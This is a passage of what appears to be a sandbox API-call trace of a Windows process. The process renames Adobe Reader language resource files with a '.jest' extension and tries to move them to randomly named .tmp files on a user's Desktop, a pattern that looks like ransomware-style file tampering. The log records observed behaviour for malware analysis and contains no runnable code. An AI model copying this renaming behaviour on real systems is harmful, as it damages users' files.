data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\128.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\EvJ0sMp3XjLk8LwqFyh7y8OfhWQ3vEABlpLbahPrcZF0cHw_0HtOPIqWbI SUQ47e Nm zVrg3tg1ZI3pGCNHRUA_iGKtFhoKGK6e.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\evj0smp3xjlk8lwqfyh7y8ofhwq3veablplbahprczf0chw_0htopiqwbi suq47e nm zvrg3tg1zi3pgcnhrua_igktfhokgk6e.tmp")) returned 0 [0150.556] GetLastError () returned 0x2 [0150.556] GetLastError () returned 0x2 [0150.557] SetLastError (dwErrCode=0x2) [0150.557] GetLastError () returned 0x2 [0150.557] SetLastError (dwErrCode=0x2) [0150.557] GetLastError () returned 0x2 [0150.557] SetLastError (dwErrCode=0x2) [0150.557] GetFullPathNameA (in: lpFileName="EvJ0sMp3XjLk8LwqFyh7y8OfhWQ3vEABlpLbahPrcZF0cHw_0HtOPIqWbI SUQ47e Nm zVrg3tg1ZI3pGCNHRUA_iGKtFhoKGK6e.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\EvJ0sMp3XjLk8LwqFyh7y8OfhWQ3vEABlpLbahPrcZF0cHw_0HtOPIqWbI SUQ47e Nm zVrg3tg1ZI3pGCNHRUA_iGKtFhoKGK6e.tmp", lpFilePart=0x18e6e4*="EvJ0sMp3XjLk8LwqFyh7y8OfhWQ3vEABlpLbahPrcZF0cHw_0HtOPIqWbI SUQ47e Nm zVrg3tg1ZI3pGCNHRUA_iGKtFhoKGK6e.tmp") returned 0x8f [0150.557] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\EvJ0sMp3XjLk8LwqFyh7y8OfhWQ3vEABlpLbahPrcZF0cHw_0HtOPIqWbI SUQ47e Nm zVrg3tg1ZI3pGCNHRUA_iGKtFhoKGK6e.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x304a7645, cFileName="sMp3XjLk8LwqFyh7y8OfhWQ3vEABlpLbahPrcZF0cHw_0HtOPIqWbI SUQ47e Nm zVrg3tg1ZI3pGCNHRUA_iGKtFhoKGK6e.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0150.557] GetLastError () returned 0x2 [0150.557] GetLastError () returned 0x2 [0150.557] SetLastError (dwErrCode=0x2) [0150.569] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0150.569] CoFreeUnusedLibraries () [0150.569] GetTickCount () returned 0x11576a7 [0150.569] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.569] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.569] GetTickCount () returned 0x11576a7 [0150.569] IsWindowVisible (hWnd=0x30268) returned 0 [0150.569] Sleep (dwMilliseconds=0x0) [0150.580] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0150.580] CoFreeUnusedLibraries () [0150.580] GetTickCount () returned 0x11576b6 [0150.580] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.580] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.580] GetTickCount () returned 0x11576b6 [0150.581] IsWindowVisible (hWnd=0x30268) returned 0 [0150.581] Sleep (dwMilliseconds=0x0) [0150.581] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.zh_TW.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.zh_tw.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.zh_TW.txt.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.zh_tw.txt.jest")) returned 1 [0150.586] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.zh_TW.txt", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.zh_TW.txt", lpFilePart=0x18e6d8*="DisplayLanguageNames.zh_TW.txt") returned 0x6b [0150.586] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.zh_TW.txt", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x10000010, ftCreationTime.dwLowDateTime=0x1413658, ftCreationTime.dwHighDateTime=0x1439800, ftLastAccessTime.dwLowDateTime=0x146c3d8, ftLastAccessTime.dwHighDateTime=0x1462a80, ftLastWriteTime.dwLowDateTime=0x80, ftLastWriteTime.dwHighDateTime=0x1410000, nFileSizeHigh=0x4000, nFileSizeLow=0x1439708, dwReserved0=0x18ea24, dwReserved1=0x77c7389e, cFileName="8\x01A\x01z8ÇwYpÍw", cAlternateFileName="¨\x14G\x01½I¢rà\x9aB\x01Hë\x18")) returned 0xffffffff [0150.586] GetLastError () returned 0x2 [0150.586] VarBstrFromR4 (in: fltIn=0x47945023, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75936.27") returned 0x0 [0150.587] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0150.587] CoFreeUnusedLibraries () [0150.587] GetTickCount () returned 0x11576b6 [0150.587] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.587] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.587] GetTickCount () returned 0x11576b6 [0150.587] IsWindowVisible (hWnd=0x30268) returned 0 [0150.587] Sleep (dwMilliseconds=0x0) [0150.588] GetFullPathNameA (in: lpFileName="HzWDf52PugAIkdhCMO53Sk14Oi9u-8pW5dMNC1xdt480QhKw9bhM8 BycVbOwS0xjqTeZ5uALqV5sZN7LNYMqqixpC1XR4 KHCVN.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HzWDf52PugAIkdhCMO53Sk14Oi9u-8pW5dMNC1xdt480QhKw9bhM8 BycVbOwS0xjqTeZ5uALqV5sZN7LNYMqqixpC1XR4 KHCVN.tmp", lpFilePart=0x18e708*="HzWDf52PugAIkdhCMO53Sk14Oi9u-8pW5dMNC1xdt480QhKw9bhM8 BycVbOwS0xjqTeZ5uALqV5sZN7LNYMqqixpC1XR4 KHCVN.tmp") returned 0x8e [0150.588] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.zh_TW.txt", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.zh_TW.txt", lpFilePart=0x18e708*="DisplayLanguageNames.zh_TW.txt") returned 0x6b [0150.589] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.zh_TW.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.zh_tw.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HzWDf52PugAIkdhCMO53Sk14Oi9u-8pW5dMNC1xdt480QhKw9bhM8 BycVbOwS0xjqTeZ5uALqV5sZN7LNYMqqixpC1XR4 KHCVN.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hzwdf52pugaikdhcmo53sk14oi9u-8pw5dmnc1xdt480qhkw9bhm8 bycvbows0xjqtez5ualqv5szn7lnymqqixpc1xr4 khcvn.tmp")) returned 0 [0150.589] GetLastError () returned 0x2 [0150.589] GetLastError () returned 0x2 [0150.589] SetLastError (dwErrCode=0x2) [0150.589] GetLastError () returned 0x2 [0150.589] SetLastError (dwErrCode=0x2) [0150.589] GetLastError () returned 0x2 [0150.589] SetLastError (dwErrCode=0x2) [0150.589] GetFullPathNameA (in: lpFileName="HzWDf52PugAIkdhCMO53Sk14Oi9u-8pW5dMNC1xdt480QhKw9bhM8 BycVbOwS0xjqTeZ5uALqV5sZN7LNYMqqixpC1XR4 KHCVN.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HzWDf52PugAIkdhCMO53Sk14Oi9u-8pW5dMNC1xdt480QhKw9bhM8 BycVbOwS0xjqTeZ5uALqV5sZN7LNYMqqixpC1XR4 KHCVN.tmp", lpFilePart=0x18e6e4*="HzWDf52PugAIkdhCMO53Sk14Oi9u-8pW5dMNC1xdt480QhKw9bhM8 BycVbOwS0xjqTeZ5uALqV5sZN7LNYMqqixpC1XR4 KHCVN.tmp") returned 0x8e [0150.589] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HzWDf52PugAIkdhCMO53Sk14Oi9u-8pW5dMNC1xdt480QhKw9bhM8 BycVbOwS0xjqTeZ5uALqV5sZN7LNYMqqixpC1XR4 KHCVN.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x44577a48, cFileName="f52PugAIkdhCMO53Sk14Oi9u-8pW5dMNC1xdt480QhKw9bhM8 BycVbOwS0xjqTeZ5uALqV5sZN7LNYMqqixpC1XR4 KHCVN.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0150.590] GetLastError () returned 0x2 [0150.590] GetLastError () returned 0x2 [0150.590] SetLastError (dwErrCode=0x2) [0150.590] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0150.590] CoFreeUnusedLibraries () [0150.590] GetTickCount () returned 0x11576b6 [0150.590] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.590] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.591] GetTickCount () returned 0x11576b6 [0150.591] IsWindowVisible (hWnd=0x30268) returned 0 [0150.591] Sleep (dwMilliseconds=0x0) [0150.591] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.zh_TW_STROKE.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.zh_tw_stroke.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.zh_TW_STROKE.txt.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.zh_tw_stroke.txt.jest")) returned 1 [0150.592] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.zh_TW_STROKE.txt", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.zh_TW_STROKE.txt", lpFilePart=0x18e6d8*="DisplayLanguageNames.zh_TW_STROKE.txt") returned 0x72 [0150.592] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.zh_TW_STROKE.txt", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x17000017, ftCreationTime.dwLowDateTime=0x1413658, ftCreationTime.dwHighDateTime=0x144edf0, ftLastAccessTime.dwLowDateTime=0x146c828, ftLastAccessTime.dwHighDateTime=0x14e21e0, ftLastWriteTime.dwLowDateTime=0xb8, ftLastWriteTime.dwHighDateTime=0x1410000, nFileSizeHigh=0x1b0, nFileSizeLow=0x144ecf0, dwReserved0=0x18ea24, dwReserved1=0x77c7389e, cFileName="8\x01A\x01z8ÇwYpÍw", cAlternateFileName="¨\x14G\x01½I¢rà\x9aB\x01Hë\x18")) returned 0xffffffff [0150.592] GetLastError () returned 0x2 [0150.593] VarBstrFromR4 (in: fltIn=0x47945023, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75936.27") returned 0x0 [0150.593] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0150.593] CoFreeUnusedLibraries () [0150.593] GetTickCount () returned 0x11576b6 [0150.593] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.593] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.593] GetTickCount () returned 0x11576b6 [0150.593] IsWindowVisible (hWnd=0x30268) returned 0 [0150.593] Sleep (dwMilliseconds=0x0) [0150.594] GetFullPathNameA (in: lpFileName="7kHhDjkCFoRdxS_zIjen0HtB--p-J8XwBVoBsA7PjMP9on9Y6 pdomUEsi3MV4wFa_psMqCjDSP2hGWdImS4Ttl4OPgz-dWDMhm.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7kHhDjkCFoRdxS_zIjen0HtB--p-J8XwBVoBsA7PjMP9on9Y6 pdomUEsi3MV4wFa_psMqCjDSP2hGWdImS4Ttl4OPgz-dWDMhm.tmp", lpFilePart=0x18e708*="7kHhDjkCFoRdxS_zIjen0HtB--p-J8XwBVoBsA7PjMP9on9Y6 pdomUEsi3MV4wFa_psMqCjDSP2hGWdImS4Ttl4OPgz-dWDMhm.tmp") returned 0x8d [0150.594] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.zh_TW_STROKE.txt", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.zh_TW_STROKE.txt", lpFilePart=0x18e708*="DisplayLanguageNames.zh_TW_STROKE.txt") returned 0x72 [0150.594] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.zh_TW_STROKE.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.zh_tw_stroke.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7kHhDjkCFoRdxS_zIjen0HtB--p-J8XwBVoBsA7PjMP9on9Y6 pdomUEsi3MV4wFa_psMqCjDSP2hGWdImS4Ttl4OPgz-dWDMhm.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\7khhdjkcfordxs_zijen0htb--p-j8xwbvobsa7pjmp9on9y6 pdomuesi3mv4wfa_psmqcjdsp2hgwdims4ttl4opgz-dwdmhm.tmp")) returned 0 [0150.595] GetLastError () returned 0x2 [0150.595] GetLastError () returned 0x2 [0150.595] SetLastError (dwErrCode=0x2) [0150.595] GetLastError () returned 0x2 [0150.595] SetLastError (dwErrCode=0x2) [0150.595] GetLastError () returned 0x2 [0150.595] SetLastError (dwErrCode=0x2) [0150.595] GetFullPathNameA (in: lpFileName="7kHhDjkCFoRdxS_zIjen0HtB--p-J8XwBVoBsA7PjMP9on9Y6 pdomUEsi3MV4wFa_psMqCjDSP2hGWdImS4Ttl4OPgz-dWDMhm.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7kHhDjkCFoRdxS_zIjen0HtB--p-J8XwBVoBsA7PjMP9on9Y6 pdomUEsi3MV4wFa_psMqCjDSP2hGWdImS4Ttl4OPgz-dWDMhm.tmp", lpFilePart=0x18e6e4*="7kHhDjkCFoRdxS_zIjen0HtB--p-J8XwBVoBsA7PjMP9on9Y6 pdomUEsi3MV4wFa_psMqCjDSP2hGWdImS4Ttl4OPgz-dWDMhm.tmp") returned 0x8d [0150.595] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7kHhDjkCFoRdxS_zIjen0HtB--p-J8XwBVoBsA7PjMP9on9Y6 pdomUEsi3MV4wFa_psMqCjDSP2hGWdImS4Ttl4OPgz-dWDMhm.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x68486b37, cFileName="DjkCFoRdxS_zIjen0HtB--p-J8XwBVoBsA7PjMP9on9Y6 pdomUEsi3MV4wFa_psMqCjDSP2hGWdImS4Ttl4OPgz-dWDMhm.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0150.595] GetLastError () returned 0x2 [0150.595] GetLastError () returned 0x2 [0150.595] SetLastError (dwErrCode=0x2) [0150.596] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0150.596] CoFreeUnusedLibraries () [0150.596] GetTickCount () returned 0x11576c6 [0150.596] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.596] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.596] GetTickCount () returned 0x11576c6 [0150.596] IsWindowVisible (hWnd=0x30268) returned 0 [0150.596] Sleep (dwMilliseconds=0x0) [0150.597] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.zh_CN.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.zh_cn.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.zh_CN.txt.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.zh_cn.txt.jest")) returned 1 [0150.598] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.zh_CN.txt", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.zh_CN.txt", lpFilePart=0x18e6d8*="DisplayLanguageNames.zh_CN.txt") returned 0x6b [0150.598] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.zh_CN.txt", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x18000018, ftCreationTime.dwLowDateTime=0x1413658, ftCreationTime.dwHighDateTime=0x146c918, ftLastAccessTime.dwLowDateTime=0x144ecf8, ftLastAccessTime.dwHighDateTime=0x14e21e0, ftLastWriteTime.dwLowDateTime=0xc0, ftLastWriteTime.dwHighDateTime=0x1410000, nFileSizeHigh=0x1b0, nFileSizeLow=0x146c820, dwReserved0=0x18ea24, dwReserved1=0x77c7389e, cFileName="8\x01A\x01z8ÇwYpÍw", cAlternateFileName="¨\x14G\x01½I¢rà\x9aB\x01Hë\x18")) returned 0xffffffff [0150.598] GetLastError () returned 0x2 [0150.598] VarBstrFromR4 (in: fltIn=0x47945025, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75936.29") returned 0x0 [0150.598] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0150.599] CoFreeUnusedLibraries () [0150.599] GetTickCount () returned 0x11576c6 [0150.599] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.599] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.599] GetTickCount () returned 0x11576c6 [0150.599] IsWindowVisible (hWnd=0x30268) returned 0 [0150.599] Sleep (dwMilliseconds=0x0) [0150.599] GetFullPathNameA (in: lpFileName="aRSNDvynNQo1gU-xY__oGpnuNQgrfLuTnxqvr3_SA3VBT6IQLGqHrZgcAqc4zZBpwpTwm6jcy862h5xIar5EQJrcprsno8SVGWYS7.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\aRSNDvynNQo1gU-xY__oGpnuNQgrfLuTnxqvr3_SA3VBT6IQLGqHrZgcAqc4zZBpwpTwm6jcy862h5xIar5EQJrcprsno8SVGWYS7.tmp", lpFilePart=0x18e708*="aRSNDvynNQo1gU-xY__oGpnuNQgrfLuTnxqvr3_SA3VBT6IQLGqHrZgcAqc4zZBpwpTwm6jcy862h5xIar5EQJrcprsno8SVGWYS7.tmp") returned 0x8f [0150.600] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.zh_CN.txt", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.zh_CN.txt", lpFilePart=0x18e708*="DisplayLanguageNames.zh_CN.txt") returned 0x6b [0150.600] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.zh_CN.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.zh_cn.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\aRSNDvynNQo1gU-xY__oGpnuNQgrfLuTnxqvr3_SA3VBT6IQLGqHrZgcAqc4zZBpwpTwm6jcy862h5xIar5EQJrcprsno8SVGWYS7.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\arsndvynnqo1gu-xy__ogpnunqgrflutnxqvr3_sa3vbt6iqlgqhrzgcaqc4zzbpwptwm6jcy862h5xiar5eqjrcprsno8svgwys7.tmp")) returned 0 [0150.600] GetLastError () returned 0x2 [0150.600] GetLastError () returned 0x2 [0150.600] SetLastError (dwErrCode=0x2) [0150.600] GetLastError () returned 0x2 [0150.600] SetLastError (dwErrCode=0x2) [0150.600] GetLastError () returned 0x2 [0150.600] SetLastError (dwErrCode=0x2) [0150.601] GetFullPathNameA (in: lpFileName="aRSNDvynNQo1gU-xY__oGpnuNQgrfLuTnxqvr3_SA3VBT6IQLGqHrZgcAqc4zZBpwpTwm6jcy862h5xIar5EQJrcprsno8SVGWYS7.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\aRSNDvynNQo1gU-xY__oGpnuNQgrfLuTnxqvr3_SA3VBT6IQLGqHrZgcAqc4zZBpwpTwm6jcy862h5xIar5EQJrcprsno8SVGWYS7.tmp", lpFilePart=0x18e6e4*="aRSNDvynNQo1gU-xY__oGpnuNQgrfLuTnxqvr3_SA3VBT6IQLGqHrZgcAqc4zZBpwpTwm6jcy862h5xIar5EQJrcprsno8SVGWYS7.tmp") returned 0x8f [0150.601] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\aRSNDvynNQo1gU-xY__oGpnuNQgrfLuTnxqvr3_SA3VBT6IQLGqHrZgcAqc4zZBpwpTwm6jcy862h5xIar5EQJrcprsno8SVGWYS7.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x4e535261, cFileName="DvynNQo1gU-xY__oGpnuNQgrfLuTnxqvr3_SA3VBT6IQLGqHrZgcAqc4zZBpwpTwm6jcy862h5xIar5EQJrcprsno8SVGWYS7.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0150.601] GetLastError () returned 0x2 [0150.601] GetLastError () returned 0x2 [0150.601] SetLastError (dwErrCode=0x2) [0150.601] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0150.602] CoFreeUnusedLibraries () [0150.602] GetTickCount () returned 0x11576c6 [0150.602] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.602] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.602] GetTickCount () returned 0x11576c6 [0150.602] IsWindowVisible (hWnd=0x30268) returned 0 [0150.602] Sleep (dwMilliseconds=0x0) [0150.602] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.sv_SE.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.sv_se.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.sv_SE.txt.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.sv_se.txt.jest")) returned 1 [0150.603] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 